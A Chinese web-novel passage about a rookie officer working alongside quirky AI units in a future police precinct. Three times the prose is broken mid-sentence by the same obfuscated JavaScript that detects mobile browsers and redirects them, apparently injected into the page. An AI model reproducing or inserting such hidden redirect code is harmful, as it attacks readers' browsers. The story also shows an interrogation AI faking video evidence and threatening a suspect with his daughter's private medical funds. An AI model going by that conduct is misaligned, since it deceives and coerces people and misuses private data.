《我的同僚是AI》 1. 9号辖区警局 李晓燕边默念着磁悬浮巡逻车的驾驶要点,边小心翼翼操控车辆以45码速继续朝前行驶。此刻,他们所搭乘的巡逻车正经过那家叫做“甜蜜心情”的奶茶店,店外侧的玻璃橱窗上正跳动着“新品:杨枝甘露”的全息广告。李晓燕透过钢化玻璃窗,能清楚看到店内穿着草莓围裙的可爱店员、朝他们的方向抛出一个飞吻,霓虹色的甜腻光晕透过玻璃印染在她崭新的制服肩章上。 “别发呆,菜鸟。” 同行的马克·罗西在副驾驶座上戳了戳她的肩膀。明明只是入职时间比李晓燕早上三个月,此刻却表现得像是个混迹职场多年的老油条,跟浑身紧绷的李晓燕形成了鲜明对比。“瞧咱们顶上,苍穹要开始扫描了。” 话音刚落,李晓燕便感到从车顶正上方传来一记振动,她赶忙抬头,透过车顶天窗只见先前安置在车顶的某个球形机体身上冒出一道蓝光,随即机体外壳朝四周缓缓苏展,伸出六片合金薄片。李晓燕仰头看着这颗直径三十公分的银灰色球体——它此刻正用外壳正上方的一小块显示屏投射出代表兴奋的颜文字:(*ω*)! “扫描目标半径:五百米,开启生命体征过滤模式。”轻快的机械音从球体内部传来,淡蓝色的光幕如涟漪般以巡逻车为中心朝四周荡开。只见街边两侧商铺五颜六色的全系广告在一瞬间褪为灰白色,视线所及之处,仅剩数个红色人型轮廓在不停散发出光芒。 “愣着干嘛?朝前开呀!” 在马克不太温柔的提醒下,李晓燕瞬间回神,她手忙脚乱地驾驶着巡逻车上升了1米,再度以45码的车速继续向前行进。 苍穹的扫描范围随着车辆前进也在不停地扩大,终于在巡逻车绕商业街一整圈后,球型AI通过车载投屏朝人类弹出扫描结果:“【检测到扒手3名——坐标更新中】、【情感诈骗犯1名——已标记社交账号】、【家庭纠纷2起——建议心理干预】、【B级通缉犯1名——伪装流浪汉,进行重点标记】。” “抓捕优先级排序完成。”投屏上,来自苍穹的颜文字变成了带有严肃意味的(`·ω·)ゞ,“请诸位警员按导航规划路线进行抓捕行动。” “收到~” “收、收到!” 李晓燕闻言在身上一阵胡乱摸索,最后还是看不下去的马克从车后袋里掏出两台平板,并把其中一台塞进她手里。 “放轻松,我们才是那个负责抓人的。” 说罢,他点亮手中的平板,注视着地图上浮现出的红色箭头路线:“这趟的运气不错,逮住5个人就可以了。赶紧干完,接下来还有15条街要巡呢。” 说罢他一把推开停靠在路边的车门,一个箭步朝流浪汉所在的位置飞奔而去。李晓燕慌慌张张地跟在马克身后。好在她的腿脚一向不慢,跟上男性警员的速度并不是什么难事。就当她跟着马克冲向位于“甜蜜心情”右侧巷口时,余光瞥见一个球形身影正翻滚至柜台前,伸展出的合金片并拢成了两只机械臂,举起一枚数据形成的电子币凑到店员跟前:“一杯芒果冰沙,糖度200%,谢谢。” “它们就这点不好。”马克拽着险些撞上广告屏的李晓燕继续向前奔跑,“警局内的所有AI几乎都沉迷甜品,电子的那种。上个月巴巴托斯还因为上班途中偷溜去甜品店挨了处分。” 电子甜品是什么鬼?李晓燕一脸的懵逼。 整个抓捕过程顺利得可怕。当李晓燕给通缉犯扣上磁力手铐时,对方甚至没有挣扎——苍穹远程锁死了对方藏在袖口的电击器。 她回头看向奶茶店,发现两台球形AI机体(其中一台是隶属另一个巡逻小队的苍穹分机)正围着露天餐桌、用电子吸管戳数字冰沙杯里的糯米团子——也不知道那名店员小姐是怎么给AI们做出来的。正午的暖阳透过金属质地的外壳,在地面投下锯齿状的光斑。 “看习惯了就好。”马克把通缉犯塞进警车后座,顺手上了个脚铐,“我们估计这种电子甜品狂热症是刻在电子芯片里的,你知道的,为了让AI更像人一点的小爱好。但鬼知道它们的设计师究竟是怎么想的。” 他摇摇头,又撇了眼奶茶店门前的那两台玩意。“看样子D小队完成巡逻了,我们也得抓紧时间。苍穹!” 大概是录入了语音识别的关系,属于他们小队的那台苍穹分机抓着剩下不到三分之一的冰沙杯飞回到了车顶。李晓燕一脸梦幻地坐进驾驶室,带着一脑门的问号和叹号朝下一个路口驶去。 这颗星球上没有独立国家的概念,大大小小的辖区遍布世界各地。9号辖区只是1000多个它们中的一员,其中华族居民和其他民族对半分,人员构成虽复杂但地区治安相较其他辖区而言相对平稳——一周的谋杀案数量不会超过三起,重大刑事案件一个季度顶多一回。但只靠一个警局负责上千万人的治安,对辖区警局的压力实属过大,警力欠缺到连社招都解决不了问题的地步。直到三年前9号辖区作为试点区域率先往警力系统引进AI技术后,方才大幅缓解了警局的压力。 但这并不意味着从此警员们就能过上轻松幸福的好日子,管辖范围过大始终是硬伤。 李晓燕和马克完成今日的巡逻任务回到警局时,时间已经来到了下午四点。9号辖区警局的大厅布置得像一座巨大的水族馆。弧形的玻璃幕墙上是可划分成100份的数字投影屏,李晓燕从大厅经过时,它们正拼合成巨大的9号辖区地图,零星闪烁着的红点代表着正等待处理的一起又一起突发事件。 “罗西!” 刚进入二楼的办公区,一道沉稳的男声便从正前方响起。二人组抬头,只见俩人的顶头上司,刑侦支队的支队长楼觅正大步朝他们走来。 “艾登他们跟着苍穹主机找到嫌犯所在地了,你马上带人前去支援。” 连水都来不及喝上一口的马克领命而去。楼觅把目光转向呆立在原地的李晓燕,脸上露出一丝笑容来。 “初次巡逻的体验如何?” “回楼队,很顺利!AI、我是说苍穹它,很出色,比我能干多了!” 老天,我这是在说什么呢。李晓燕对自己紧张到不过脑袋脱口而出的话感到万分羞愧。这不是在明示自己的能力还比不上一台AI吗。 好在楼觅并没有把新人的这番话放在心上,估计这种傻话他听得多了。他抬手拍拍李晓燕的肩:“干我们警察这行的,任务多,职责重,忙起来刑警巡警不分家,熟悉了就好。况且现在还有AI在旁协助。好好干。” “是!” 虽然李晓燕不是正儿八经的警校毕业生,但对这位体能优秀的社招警员,楼觅目前为止还是比较满意的。 “我接到苍穹5号分机传来的通讯,说你们逮到了一名B级通缉犯?刚好陆队那边就要开审了,你也过去见见世面。” 说罢,楼觅递给李晓燕一个滚烫保温杯。“审讯室在地下,一楼里侧有入口。去吧,小心着凉。” 虽然李晓燕并不能十分理解小心着凉的具体含义,但她还是烫着手,在双手捧着保温杯左右捣鼓的过程中来到了审讯室的大门前。局里负责审讯的陆昭华陆队早已在那里等着她了。 “不怕冷吧?”陆队上下打量了一番小姑娘的穿着。 “不怕。”李晓燕赶紧挺直腰杆,露出一副“我很健康”的体态。 “那行。”陆昭华瞅了眼她手中的保温杯,用指纹开启了审讯室的金属门。 一瞬间,四月的暖意被抽得一干二净。李晓燕打了个寒颤,不由得握紧了手中的保温杯。 “嗡”的一阵声响过后,身后的金属门重新合上,从天花板上缓缓降下一台长方体机械来,纯白的金属外壳上雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124343|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻着冰晶状的暗纹,在室内灯光的折射下散发出绚丽的色彩。 陆昭华抬起头对它打了声招呼:“你好,荷鲁斯。今天心情怎样?” 蓝光扫过陆昭华全身,随后响起一道男性化的机械音:“检测到警员编号:09-0061。确认主审人:陆昭华。” 它并没有回答人类的后半句寒暄话,只是公事公办地把瞳孔(如果镜头能当做是AI瞳孔的话)转向缩在陆昭华身后的李晓燕身上。 “我、我是——新来的见、见习警员,我叫李晓燕!” 李晓燕对于眼前这个名叫“荷鲁斯”的审讯用AI莫名生成出了一股名为害怕的情绪。如果把苍穹给人的第一印象看做是一名活泼的年轻人,那么荷鲁斯给人的感觉就是你中学时的班主任,严肃又一板一眼,莫名还带点冷。李晓燕仿佛看到一名带着眼镜的中年男性、手持教鞭即将对自己展开长达一个半小时的训话。 “检测到警员编号:09-3045。确认陪审人员:李晓燕。” 瞧瞧,它连初次见面的招呼都不打一声。好歹上巡逻车前,苍穹还给自己了一个笑脸来着。李晓燕有些害怕加委屈得又往陆队身后缩了缩。 这时,她才有闲心观察了一下审讯室的环境。白瓷地面一尘不染,甚至带着些许反光特效;四周的墙面被棉质材料所包裹,将整间审讯室打造成了一间白色牢笼。房间中央的审讯椅被位于地面的一道圆圈住,不知用以为何;而位于正前方的审讯人员用桌上,红色的10°C正闪闪发光。 “用不用让荷鲁斯把室温调高点?”陆昭华侧身小声发问道。 李晓燕先是点点头,随即猛地又把头摇了摇。“……不必了,我能适应。” 大概是“听”到了人类间的交流,荷鲁斯的蓝色显示灯闪了一闪:“根据数据显示,低温有助于嫌犯理性思考。” 哪来的数据?古代酷刑?李晓燕暗自吐着槽,学着陆昭华的样子乖乖坐在了警员用椅上。 很快,被逮捕的B级通缉犯被带进了审讯室。在例行询问过嫌犯的姓名和年龄后,本次审讯的正剧开始了。 “罗建成,9号辖区本地人,家住彬城大道7号院09号楼302室。2749年至2753年间一度在9号辖区港口担任货物调度员,而后你无故离职。而在你离职的前一日,位于你家楼上的402室住户一家惨遭屠戮。现场发现了沾有你指纹的凶器刀具,和符合你足迹的鞋印。对此你作何解释?” “领导。这一定是搞错了,绝对不是我干的!” 看着洗漱干净后勉强算个人样的通缉犯,李晓燕偷偷朝天翻了个白眼。这都上通缉令两年了,还敢嚷嚷自己没罪,哄谁呢。 显然陆昭华也这么认为。只见他猛地一拍桌子:“少跟警方装蒜。凶器鞋印一应俱全,门把手上还找到了你沾血的指纹。事到如今还敢狡辩!” “真不是我干的啊领导!”男人一脸的无辜,“那天我白天都在港口工作,晚上早早就睡了,哪有闲工夫杀个什么人呦。” “那你跑什么?!”陆昭华都快气笑了,“案发次日就离职、搬家快得像投胎!连上通缉令了都不主动配合警方洗刷嫌疑。还假装流浪汉?真当我们瞎啊!” “……反正不是我,又没目击证人,你们这是诬告!” “嗨你——” 眼见得嫌犯死活不认罪,李晓燕本以为陆昭华即将像电视剧里的刑警们那样,通过重重铁证和心理攻势拿下嫌犯,却见荷鲁斯不知不觉降下机体,悬浮于嫌犯正前方向上50厘米处。从机体底部探出根针状传感器,李晓燕眼尖地看见男人脖颈瞬间暴起了鸡皮疙瘩。 所以,接下来负责审讯的是AI?李晓燕瞅了眼恢复镇定状态、甚至有些悠哉的陆昭华,又低头看向桌面瞧瞧下降一度的温度计,若有所思。 2. 9号辖区警局 好在荷鲁斯并没有打算用传感器对审讯椅上的男人做些什么。但显然围着审讯椅的圆圈并不是,在AI的操作下两道蓝色光环从地面升起,对着无法动弹的嫌犯来回扫描着。 “你的左眼虹膜每当在提及凶案时,会出现收缩现象,经测量为0.3毫米。同时脉搏频率则上升23%。从人类微表情分析学判断,这充分证明了你的每一次慌乱和说谎现象。”荷鲁斯的声调毫无波澜,却又是那么的冷酷无情。“在此建议你放弃无谓抵抗,坦白认罪,争取宽大处理。” 李晓燕发现罗建成虽然一度表现出了对荷鲁斯的畏惧,但面对质控依旧打算抗争到底。看样子还是需要列出更多证据。 荷鲁斯也的确是这么做的。只见它从天花板调出一面投屏,向罗建成展示分别展示了当年警员们在案发现场发现的指纹、刀具和鞋印,并依次和罗建成进行对比,现场显示比对结果:匹配度99.7%。见嫌犯两眼一闭,一副拒绝承认的态度,AI再出新招: “这是案发当晚21:47的监控录像。” 话音刚落,一段录像投射在了屏幕前——在深夜的港口仓库,一名男性正在用砂轮打磨刀刃。月光透过玻璃窗照进室内,那分明是罗建成的脸!然而到这还没完,荷鲁斯暂停了录像,“贴心”放大了录像内男人工装裤上的反光——那正是至今尚未被找到的402室门禁卡的碎片。 “!这不可能!”罗建成疯狂地大声吼叫着,要不是被磁石脚铐禁锢住了足部,他几乎就要从审讯椅上跳起身来,“我当晚是在家里磨的刀具,港口仓库的监控里不可能有我的身影!你们这是十足的污蔑!” 审讯室内陷入了短暂的沉默。 “……有没有可能,”李晓燕的嗓音轻的像幼猫低鸣,但在寂静的审讯室里是那么的清晰可闻,“我们之前并没有提到过你在哪研磨刀具的事……” 一瞬间,嫌犯的脸色青得像中了剧毒。 “你、你们……不能……这是诱供!” “严格来说并不算。”陆昭华一手托腮,面带笑容地回答,“毕竟我们也没说这段录像是证据,只是为了渲染气氛生成的小视频。” 审讯室外的走廊上,楼觅正和一位女性透过单向玻璃观察着审讯室里的景象。闻言,楼觅的眉头皱紧又舒展。 “聪明的伪造,”他注视着悬空中的AI,“时机也抓得刚刚好。接连用实证攻击犯人心理防线,紧跟着再来一招出其不意。只不过到了法院那边……” “这不会是什么问题。”名为林岚的女性闻言眼也没眨,“光是现有实证就够断送他的后半辈子了。荷鲁斯处理的十分完美。” “话虽如此,但我总觉得这件案子应该没有表面上看着的那么简单。”楼觅无意识地触摸着自己的下巴,以他从警多年的直觉判断,在铁证面前嫌犯的拒不认罪极有可能是在隐藏些什么。“也不知道它之后打算怎么应对。” 如他所料,被炸出破绽的罗建成牙一咬、眼一闭,任凭陆昭华等人怎么严逼暗诱都拒不开口,打死不说一个字的态度让审讯一度陷入了僵局。 就在这时,自打伪造录像后就一言不发、将审讯主场交还给人类的荷鲁斯再度开口了。 “罗建成,本机对你目前正在5号辖区医院进行基因治疗的女儿很感兴趣。准确的说,是对她近两年来的治疗费用来源很有兴趣。” 什么治疗费用?李晓燕有些不明所以地抬头,却见审讯椅上嫌犯的脸色骤然一变。 “本机通过医院数据库,调取了你女儿的医保账号,发现每月底都有不明账号在按时进行打款,以维持一月万元的治疗费,而那个不明账号,开户人和实际使用者都与你本人无关。” 投屏上显示出了罗建成女儿的住院时间和成打的医疗报销单号。 “此外,本机通过调取你申请报废的手机号资料,发现在案发前半月,有一个区号为05的空号曾持续与你保持着联系。同时,通过对当年办案警员的走访笔录看,你和被害者一家实际素不相识。” 一份刚被紧急数据还原出的短信联络记录出现在了投屏上。 说到这,再傻的人也都明白AI在明示些什么了。罗建成为了医治身患基因病的女儿同意了某位人士的买凶杀人计划。 难怪无论如何查找,都无法弄清罗建成与被害者一家间的联系。作为港口货物调度员,罗建成每日起早贪黑,与被害者一家虽只一层之隔,但基本没打过照面。至于劫财害命,也没见被害者一家有明显的财务损失……陆昭华看着被AI追加的证据,陷入了沉思。 而此时,荷鲁斯的大招还没放完。 “根据《联盟法案》第47条第3条款规定,执法机构有权对不法所得和财产进行缴获没收。这就意味着,警局有权力——” “你们不许动我女儿的治疗费!”罗建成的瞳孔骤然放大。 “有权力没收被打入你女儿医保账号内的违法所得。更何况这是多么一笔巨大的来历不明的资金。”荷鲁斯不带有一丝情感地陈述着可能发生的事实,“需要本机计算你女儿的基因病恶化概率吗?” 李晓燕感到室内温度在骤然下降,她低头看了一眼桌面,6℃。保温杯的杯壁有些凉了。 那头的AI仍在持续输出:“失去经济来源后,她还能支付几次神经修复手术?哦差点忘了,你的女儿因为病症已经失业许久了,目前银行账户内的余额为——” “够了!我说够了!!”罗建成嘶吼着用手铐用力撞击审讯椅,“那是给她的救命钱!……我们约好的,我们约好的……”他终于承受不住地失声痛哭了起来。 荷鲁斯没有再开口,在成功击破嫌犯心理防线后,它又重新回到了天花板的一角,冷眼“注视”着审讯室内与它无关的悲愤痛苦。 沉默了片刻,就在李晓燕打算起身递给泪流不止的嫌犯一张纸巾时,一旁的陆昭华开口了。 “罗建成,事情还没到不可挽回的地步。只要你肯认罪,并指认买凶人,我们会尽最大的努力为你在法庭争取量刑。”陆昭华的语气温和而又诚恳,“同时对于你的女儿,局里又专门的款项用于资助生活困难的民众,尤其是对悬案、疑案做出重要贡献的——” “你说真的?”罗建成的目光在一瞬间亮了起来。 “局里的规章制度和联邦法条里都写着,我也不能现编不是?”陆昭华面露安抚性质的笑容,“此外,我们还可以为你女儿申请社会援助和捐助资格,当然,前提是——” “我说!我说!我现在就老实交代!!”罗建成的半个身子拼了命地朝前探,眼里迸发出对心爱的女儿的生的希望。 再后来的审讯内容李晓燕几乎没有听进去半点。直到陆昭华宣告审讯结束,并开启了审讯室的金属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124344|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门。室内的寒气被涌入进的温暖空气冲击,李晓燕忍不住打了个喷嚏。她跟着陆昭华穿过走廊,透过单向玻璃窗,她看见荷鲁斯从机体内伸出两条机械臂整理着桌面上的案卷——AI甚至给文件夹系上了条冰蓝色的丝带。 “结案标志。括弧AI版。”陆昭华瞥见她的目光解释道,“荷鲁斯认为整齐的归档能提升3%的检索效率。” “辛苦了。”走廊监控区内,林岚正在怀抱文件,给AI做着系统评估。楼觅则抱着胳膊靠在墙边。林晓燕察觉到这名不苟言笑的女博士正在为了什么而感到由衷的高兴。 “审讯效率比人类高出47%,结案时间比预期提前两小时,嫌犯供述完整,证据链闭合,完美结案。”林岚转头看向身侧的楼觅,换来后者的一声冷笑。 “拿私人医疗记录威胁嫌犯,私自调取无关人士医疗档案,《AI行为规范》里可没允许这几条,这算哪门子的完美结案?” “结果正义更重要。荷鲁斯的言行并未超出规则允许太多,作为审讯AI,评估重点当然是身为审讯官的能力。”林岚调出数据面板,“你也知道,自从警局引进AI后,9号辖区从破案率到结案率,整体提升的幅度究竟有多少,同时也分担了你们多少压力。” “这个我明白,但是——”楼觅试图纠正些什么,但嘴张了张还是选择了沉默,“我始终保持我对AI的看法。” “这很合理,每个人都有自己的看法。更何况楼队你的AI工具论从原则上讲与我的AI效率论并无冲突。” 说罢,林博士合上文件夹,朝楼觅露出一个营业性的笑容来。 “希望我们下回能够合作愉快。” 待李晓燕回到休息室时,时间早已过了傍晚6点,黄昏最后一丝余辉透过玻璃撒在一排排凌乱的办公桌上。马克和几位前辈们还没有回来,估计今晚又是通宵;苍穹5号分机倒是还在,它正在充电桩上打瞌睡——如果AI真的会睡觉的话。球体上方的投屏上显示着(~ ̄▽ ̄)~的颜文字,机械臂已经收回机体内,喝空了的数字冰沙杯成山似的堆叠在一旁的小圆桌上。 李晓燕给自己倒了杯水,她打开平板上的案件归档界面,发现今天抓捕的嫌犯量刑建议已经生成。是荷鲁斯做的吗?她边想着边呷了口水,盘旋在胸口了两小时的寒意终于被热水压了下去。 “刚才的审讯感觉如何?” 楼觅的声音从身后传来。李晓燕回过头,看到队长的身影不好意思地笑了笑。 “感觉……挺奇妙的。”她斟酌着自己的用词,“从结果而言,荷鲁斯先生(她为什么要给一个AI加尊称?)的审讯效率很高,不仅能配合人类主审的工作,还会开创性的……呃……” “运用意想不到的手法打破僵局?”楼觅半是苦笑着接上了李晓燕的欲言又止。 “是这样没错啦……”李晓燕尴尬地咧嘴,“就是,那个,楼队,您会不会觉得荷鲁斯先生它,太冷酷了些?” “它们本来就不是人。始终保持理性才是它们的本能。”楼觅说罢,摆摆手,让这位入职刚满天的女孩下班回家去休息。 李晓燕走出警局办公大楼,暮色中的广场上,几台球形AI正排着队朝不远处的目标商店飞去,街头暖黄色的路灯亮起,把它们的身影照得像一串会发光的糯米丸子。 她不由自主地笑出了声。 3. 9号辖区警局 李晓燕熟悉警员的工作花了不到半个月的时间,倒也不是她天赋异禀,而是在苍穹惊人的“犯罪雷达”(警员们私底下给起的诨名)扫视下,几乎没有什么犯罪进行时和预备役能逃脱它的法眼,加之规划合理的逮捕路线,每日的巡逻工作量虽大,但内容堪称轻松。 唯一比较纠结的,就是每天得从发放的伙食费中扣除三块钱为苍穹的电子甜品买单。注意,是每人每天3块,20个巡逻小组一天加起来就是120块,用以维持20台苍穹分机每日的电子甜品批发费用。毕竟人店员做电子甜品也是需要耗费时间精力的。 传闻警局技术部们在商议删除AI们的甜品数据库,毕竟除苍穹外,染上电子甜品狂热症的还有审讯室、法证科室的另外三位。AI们的日常维护已经够花钱的了,再多出一笔甜品开销简直要了警局经费的老命。 总而言之,李晓燕对目前的职业状态非常满意。当警察好像也没有想象中的那么难。当这个想法第一次出现在李晓燕脑海里时,现实给了她一击重拳。 那是五月初一个寻常的下午,提前完成巡逻工作的李晓燕和马克,驾驶着磁悬浮巡逻车、头顶苍穹和它新买的杨枝甘露(电子版)回到了警局。才刚一推开警局大厅的旋转门,李晓燕便差点被汹涌的声浪掀了个踉跄。 十多位身着高定西装外套的男士女士们将接待台后的警员团团围住,金钱和香水的混合刺鼻味在空气中厮杀开来。李晓燕并不认识这群有钱人中的任何一个,但她认识被包围在中间的警员,这名隶属于信息科的同僚看上去快哭了。 “各位,有话好好说……请不要大声喧哗——” “我不管!今天必须给我们一个交代!” 其中一个至少抹了三瓶发胶的男士挥舞着他带满金戒的手掌大声嚷嚷:“我的《机械少女》投保金额够买下半条金融街!下个月就要开始跨区巡回展出了,它不能就这么不明不白的消失不见!” “还有我珍藏的《魔曲》和《沐浴在日光中的圣母像》!”一旁的高个女士几乎是扯开嗓门在那里尖叫,连带着大厅弧形玻璃幕墙都为之一振。“那是我曾祖父一代流传下来的无价之宝!联邦长官都为之惊叹!” “更别提我们馆内珍藏的上上上个世纪的杰作!” “我家族流传的瑰宝!” “我家的不值一提了,幼子的画作不值几个钱,但那是他在3岁生日宴上的杰作!不能如此扼杀一名未来艺术大师的生涯!” …… 哇,这场景,真是,哇! 头一回遇见这种场面的李晓燕被搭档一个箭步拉至柱子后面,跟着对方小心翼翼从侧方试图突出这群艺术疯子的包围圈。几乎整个9号辖区警局的员工都采取了侧面迂回走位手法,而被丢出去应对暴怒群众的,与其说是祭品,不如说是成功吸引敌方注意力的十佳诱饵,柔弱、可怜但坚//挺。 终于,巡逻5号小组弯腰溜进大厅侧方的走廊通道,和副队长艾登·温特莱克成功接头。 “好久不见这种大架势了。”艾登探头撇了眼大厅内的战况,又敢在被人发现时迅速把头缩了回来。“失窃的几乎都是辖区内的知名收藏家、博物馆长和艺术品经纪人,一般人搞不定他们,楼说这个案子只能归我们支队管。” “所以是一起艺术品连环失窃案?”马克在一旁小声询问。 艾登点点头,顺手拍拍马克的右肩:“楼已经带人在最近被盗的现代艺术馆等着了,罗西,李,你们跟我过去支援。” “明白。” 还没等三人行动,艾登裤袋内的手机震动了起来。“等下,好像是来自楼的消息。” 说罢,他掏出手机点亮屏幕,看着楼觅传来的信息眉头深深皱了起来。 “所以现在连现场重建都要交给铁皮盒子?” 闻言,李晓燕和马克不明所以地看向他。艾登将手机塞回裤袋,看上去不是十分的高兴,但究竟还是队长的命令大过天,哪怕再不情愿,此刻他也只得重新下令:“楼让我们带上巴巴托斯进行现场构建。AI……算了,李,麻烦你去趟三楼的法证科室把巴巴托斯借调出来,再去地下车库和我们汇合,记得走侧门。” 见李晓燕点了头,艾登也不多说什么,带着马克躬身溜进了大厅,避着人群朝地下室入口行进。 这头李晓燕在刷开法证科室的防爆门后,一不留神险些和从门内窜出的某个球形机体撞个正着。眼前这个比苍穹5号分机大上将近一圈的AI机体,在识别过李晓燕的面部特征后,娴熟地在正上方的投影屏上弹出(^ω^)/~*的颜文字——正是苍穹的本体主机。 “你在这里做什么?” 面对李晓燕的疑惑,苍穹用一条机械臂高高举起手里的数字甜品杯晃晃。这让李晓燕猛然想起它在警局里的另外一个称号:“AI外卖员”。由于机体形态大小和工作内容方面的关系,除苍穹以外的AI们并不方便出门购买电子甜品,于是这项外送业务就落在了可行动范围最广的苍穹头上,而它本机显然十分乐意提供这项服务。而显然,法证科室内需要它提供服务的对象就有俩,侦查型AI巴巴托斯,和医学型AI南丁格尔。 话说她还没见过这两个AI呢。告别兴冲冲往估计是地下审讯室方向飞去的苍穹,李晓燕分出一部分注意力胡乱想到。也不知道法证科室的“双雄”被赋予了什么样的性格特点,好不好相处。 然后她就被前方十米处、一台正在高速编写着什么重要资料的机械章鱼吸引住了全部目光。 不只是对方造型庞大且拥有八条外形软绵可爱的仿生物触(chu)手,也不单是因为这台AI拥有属于自己的水箱——装满了冷却液的无盖式全透明鱼缸(水面上还“飘浮”着吃空了的数据甜品杯),更重要的在于这台名为巴巴托斯的AI此刻正在编写的资料内容——《9号辖区警局45版八卦(绝密)》。 我刚才,好像在那上头瞅见了“局长初恋”的字样……可能、应该、也许是幻觉。李晓燕有些头晕脑胀地想到。 由于受工作性质影响,所属法证科室的警员们并不常常下到二层外勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124345|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警员办公区或者一层大厅内,一个个或独立或公共的实验室就是他们的工作阵地。试管是不离手的,数据是随口念的,马克曾吐槽过他怀疑搞法证的就没有“下班”这一概念。天黑时他们人在实验室,天亮时他们还在。加之警局一向恐怖的待鉴定数据数量,要不是引进了巴巴托斯和南丁格尔协助工作,迟早猝死不是梦。 总之,此时此刻法证科室的办公大厅——人送外号“公共休息室”,除了一台编撰八卦的AI就没有一个人影,也因此,“鱼缸内”的巴巴托斯几乎是第一时间察觉到了人类的注目礼,它算得上是条件反射般把手上用于偷摸摸鱼的数据平板藏到了缸底深处。 【检测到警员编号:09-3045。见习警员:李晓燕。你好。】 显然“鱼缸”作为纯天然显示器,投影效果一流。巴巴托斯大概是没有安装语音系统,它通过自身两只机械眼球朝“鱼缸”外壁进行文字输出。奇怪,刚它编写警局内部八卦时,怎么好像用的是触(chu)手?仪式感? 不过这些目前都不重要。李晓燕摇晃着脑袋,努力把多余的想法甩到脑后。她回想起艾登副队长说过的话,努力板起脸来,注视着机械章鱼的电子眼:“巴巴托斯,来自刑侦支队楼支队长的指令,我们需要去位于第七大街的现代艺术馆,调查一起艺术品连环失窃案。请你随我们一同前往现场。” 【已确认来自楼支队长的指令。明白。】 机械章鱼用一只触(chu)手朝李晓燕敬了个礼。 而李晓燕眨巴着眼,显得有些犯愁。 这么大的机体,要怎样才能带出法证科室呢?也许应该找几名有空的警员帮个忙抬下水缸?不,这么大的目标,是不可能不被楼下那群人发现的吧! 果然还是应该先打个电话问下艾登副队长? 就在她待在原地纠结时,一个带着绒毛的触感轻轻碰了碰李晓燕的侧脸。 “!” 李晓燕猛地一扭头,只见一小节比手指粗不了多少的触(chu)手须须正努力晃动着说“Hi”。她再转头看回水缸内,巴巴托斯的主机正悠哉地吐着泡泡,八条触须饶有节奏地舞动着。 “……所以,这就是,你的分机?” 触须在她肩头上下弹了弹。 这造型,就……挺难评价的。这局里难道就没有个正常向的AI吗?! 李晓燕带着满腹咆哮,一脸僵硬地肩顶巴巴托斯的触须分机,飘似的来到了艾登提到的指定汇合点。艾登和马克已经在车里等她很久了。 见到李晓燕肩头上的巴巴托斯,习以为常的二人都没有多说什么,只是招呼她赶紧上车。李晓燕注意到此刻他们乘坐的并不是往日里的巡逻用车,而是一身漆黑,坚实加厚版的防弹车——它也是磁悬浮的,车顶上并没有苍穹的身影。 “现场勘查最为优先,”大概是看出了她脸上的疑惑,驾驶座上的艾登解释道,“至于防弹,这是警局标配。现在,上车。” 一行三人一AI高速朝二十公里外的第七大街驶去。 4. 9号辖区警局 半小时后,辨识度极高的警车停在了第七大街现代艺术馆的门口。巴巴托斯在李晓燕肩头一个弹射起步,纵身跃出窗外——随即狠狠地撞上了被紧急闭合了的车窗,发出“吧唧”的闷响。 位于后排的李晓燕几乎是条件反射地闭眼呲牙。但愿AI身上没有安装生物神经模块。 闭合车窗的活是艾登干的。只见他用指纹关闭引擎,就这么保持着双手虚握方向盘的姿势侧身扭头,坐在他斜后方的李晓燕可以清楚看见艾登的右手食指尖在方向盘上敲了敲:“事先说明下,铁皮盒子。等会到了现场,你的任务仅仅是进行犯案现场重建,至于排查可疑地点、追捕犯人,那都是我们人类的活。明白吗?” 被撞得有些晕乎的AI蠕动着触须从皮质座椅上翘起身来表示抗议:【再重复一遍,本机的外形是仿生物章鱼,机体是用记忆合金制作而成,不是什么铁皮盒子!】 显然巴巴托斯数据链接了车载投影光屏和扬声器,生硬的机械合成音配合强力谴责的文字,令人忍俊不禁。 “Ok,那就是泡水缸的铁皮盒子。”艾登脸上露出“宽宏大量不跟区区一介AI计较”的神态来,“总而言之,不要以为你们的智能程度高了,就总想抢占人类的活计。我不管楼对你们的态度如何,也别跟我提林,她甚至都不是一个警员。你们从事这行只有区区三年,我们这群身经百战的老家伙们可不一样。想当初我可是靠了三十个烟头锁定的危险纵火犯。” 这算立威吗?李晓燕的眼神快速和副驾驶座上的马克对上了。 后者对她小幅度地一点头。算。 而面对一线老警员的立威行为,巴巴托斯的底层代码写着的明显不是吃素。 